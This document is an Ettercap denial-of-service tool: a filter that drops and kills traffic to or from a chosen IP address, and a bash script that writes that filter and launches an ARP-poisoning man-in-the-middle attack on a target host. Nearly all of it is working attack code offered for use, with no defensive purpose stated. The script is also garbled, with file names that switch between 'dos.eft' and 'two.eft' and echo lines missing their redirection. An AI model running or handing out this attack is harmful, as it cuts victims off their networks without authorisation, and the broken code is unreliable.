Denial of Service (DOS) with Ettercap

if (ip.src == 'IP ADDRESS ' || ip.dst == 'IP ADDRESS')
{
drop();
kill();
}

#!/bin/bash
#Ettercap ddos ​​script
#We check if the user that is running is root. If it is not, we do an exit
if [ $(whoami) != "root" ]; then
        echo "You must be root to run this script."
        echo "To log in as root, type \"su\" without the quotes."
        exit 1
#We check if you have Ettercap installed, if you don't have it we execute an exit
elif [ ! -x "/usr/sbin/ettercap" ]; then
        echo "It looks like you don't have Ettercap installed"
        echo "To install on Debian-based distributions: apt-get install ettercap"
        echo "To install on Redhat-based distributions: yum install ettercap"
        exit 1
fi
#We put a pretty header
echo
echo " Ettercap ddos ​​script"
echo "_____ ____ __________________"
echo
#We ask the address of Origin, Destination and the interface
read -p "Enter source address: " ipsrc
read -p "Enter destination address: " ipdst
read -p "Enter the Interface. Example eth0: " inter
#We check if the file dos.eft exists, if it exists we delete it
#And we create it again with the configuration added above
#It's bullshit but I don't know why I say it like that
if [ -e two.eft ]
then
        rm -r dos.eft
        echo "if (ip.src == '$ipsrc' || ip.dst == '$ipdst') " >> dos.eft
        echo "{" >> dos.eft
        echo "drop();" >> dos.eft
        echo "kill();" >> two.eft
         echo "msg('Take kill 9!!!!');" two.eft
        echo "}" >> dos.eft
#Once the file is generated we make an etterfilter to generate dos.ef
       etterfilter dos.eft -o dos.ef
#In the event that the dos.eft file does not exist, we do the same
#Generate the file and pass it the previously added data
else
        echo "if (ip.src == $ipsrc || ip.dst == $ipdst) {" > dos.eft
        echo "drop();" > two.eft
        echo "kill();" > two.eft
        echo "msg('Take kill 9!!!!');" two.eft
        echo "}" > dos.eft
        etterfilter dos.eft -o dos.ef
fi
#Check that dos.ef exists, if it exists we carry out the attack.
if [ -e two.ef ]
then
         ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
#En caso que no exista lo creamos con etterfilter y empezamos el ataque
else
        etterfilter dos.eft -o dos.ef
         ettercap -T -q -F dos.ef -M ARP /$ipdst/ // -i $inter
fi